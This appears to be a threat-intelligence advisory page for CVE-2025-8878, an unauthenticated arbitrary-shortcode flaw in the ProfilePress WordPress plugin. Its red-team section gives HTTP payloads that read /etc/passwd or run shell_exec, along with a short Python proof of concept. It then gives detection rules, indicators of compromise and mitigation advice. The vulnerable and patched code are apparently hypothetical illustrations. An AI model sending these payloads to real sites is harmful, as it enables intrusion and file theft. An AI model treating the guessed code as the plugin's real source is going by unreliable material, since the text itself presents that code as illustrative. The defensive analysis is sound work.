CVE-2025-8878
Executive Summary
CVE-2025-8878 is a critical vulnerability in the ProfilePress plugin for WordPress, affecting all versions up to and including 4.16.4. The flaw allows unauthenticated attackers to execute arbitrary shortcodes due to insufficient validation before calling the do_shortcode function. This can lead to unauthorized data access, privilege escalation, or site defacement. The vulnerability is classified under CWE-94 (Improper Control of Generation of Code) and has a CVSS score of 6.5 (Medium). No official patch has been released as of this report.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the WordPress plugin ecosystem. ProfilePress is distributed via the official WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin files and monitor for updates. No known supply chain compromise has been reported, but the lack of a patch increases risk.
CVSS Breakdown & Threat Level
- CVSS Score: 6.5 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: Low
The threat level is elevated due to the lack of authentication requirements and the potential for arbitrary shortcode execution, which can be chained with other vulnerabilities.
Deep Dive & Mechanics
The vulnerability resides in the ProfilePress plugin's handling of user-supplied actions. The plugin fails to validate or sanitize a value before passing it to the do_shortcode function. This allows an attacker to inject arbitrary shortcodes, which WordPress then processes. Since shortcodes can execute PHP functions, read files, or perform database operations, this can lead to severe consequences.
Root Cause: The plugin uses do_shortcode() on user input without proper validation. For example, a parameter like action=do_shortcode&shortcode=[some_malicious_shortcode] could be crafted.
Impact: Unauthenticated attackers can:
- Execute arbitrary shortcodes (e.g.,
[file]to read files,[php]to execute code if a shortcode handler exists). - Escalate privileges if combined with other plugins.
- Deface the site or steal sensitive data.
Vulnerable vs. Patched Code
Vulnerable Code (<= 4.16.4):
// In some handler function
$shortcode = $_REQUEST['shortcode'];
echo do_shortcode($shortcode);
Patched Code (Hypothetical):
// Validate and sanitize input
$shortcode = sanitize_text_field($_REQUEST['shortcode']);
if (in_array($shortcode, $allowed_shortcodes)) {
echo do_shortcode($shortcode);
} else {
// Handle error
}
No official patch is available. Users should disable the plugin or apply a Web Application Firewall (WAF) rule.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A WordPress site with ProfilePress plugin version <= 4.16.4.
- No authentication required.
Exploit Steps:
- Identify the vulnerable endpoint (e.g.,
/wp-admin/admin-ajax.phpor a custom action). - Craft a request with a malicious shortcode. For example, to read
/etc/passwd:POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded action=profilepress_shortcode&shortcode=[file content="/etc/passwd"] - If a shortcode like
[php]is available, execute system commands:action=profilepress_shortcode&shortcode=[php]echo shell_exec('id');[/php]
Proof of Concept (Python):
import requests
target = "http://target.com/wp-admin/admin-ajax.php"
payload = {
"action": "profilepress_shortcode",
"shortcode": "[file content='/etc/passwd']"
}
response = requests.post(target, data=payload)
print(response.text)
Blue Team
Detection:
- Monitor for unusual POST requests to
admin-ajax.phpwith parameters containingshortcode. - Look for shortcodes like
[file],[php], or[exec]in request bodies. - Check logs for unexpected
do_shortcodecalls.
Mitigation:
- Disable the ProfilePress plugin until a patch is released.
- Implement a WAF rule to block requests containing
shortcodeparameter with suspicious values. - Use a security plugin like Wordfence to block known exploit patterns.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/wp-admin/admin-ajax.phpwithaction=profilepress_shortcodeandshortcodeparameter. - Requests containing
[file,[php,[exec, or other dangerous shortcodes.
- POST requests to
- File IOCs:
- Unexpected files in
/wp-content/uploads/or/tmp/created by shortcode execution. - Modified
.htaccessorwp-config.phpfiles.
- Unexpected files in
- Log IOCs:
- PHP error logs showing
do_shortcodecalls with unexpected arguments. - Access logs with repeated
admin-ajax.phprequests from the same IP.
- PHP error logs showing
Detection Engineering
YARA Rule
rule CVE_2025_8878_ProfilePress_Shortcode_Exec {
meta:
description = "Detects attempts to exploit CVE-2025-8878 via arbitrary shortcode execution"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-8878"
strings:
$shortcode_param = "shortcode="
$dangerous_shortcodes = /\[(file|php|exec|system|shell_exec|passthru|eval|assert)/
condition:
$shortcode_param and $dangerous_shortcodes
}
Sigma Rule
title: CVE-2025-8878 ProfilePress Arbitrary Shortcode Execution
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2025-8878 via shortcode injection
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri: '/wp-admin/admin-ajax.php'
cs-uri-query|contains: 'action=profilepress_shortcode'
cs-uri-query|re: 'shortcode=.*\[(file|php|exec|system|shell_exec|passthru|eval|assert)'
condition: selection
falsepositives:
- Legitimate use of shortcodes by administrators (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-8878 ProfilePress Arbitrary Shortcode Execution"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=profilepress_shortcode"; http_client_body; pcre:"/shortcode=.*\[(file|php|exec|system|shell_exec|passthru|eval|assert)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Disable the ProfilePress plugin until a patch is available.
- WAF Rule: Block requests containing
shortcodeparameter with dangerous patterns. - Monitoring: Enable logging for
admin-ajax.phpand review for suspicious activity. - Update: Monitor the plugin's official page for a patched version.
- Alternative: Consider using a different membership plugin if no patch is released.
Valters IT Signature
This report is generated by Valters IT Cyber Threat Intelligence. For questions, contact threatintel@valters.it.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.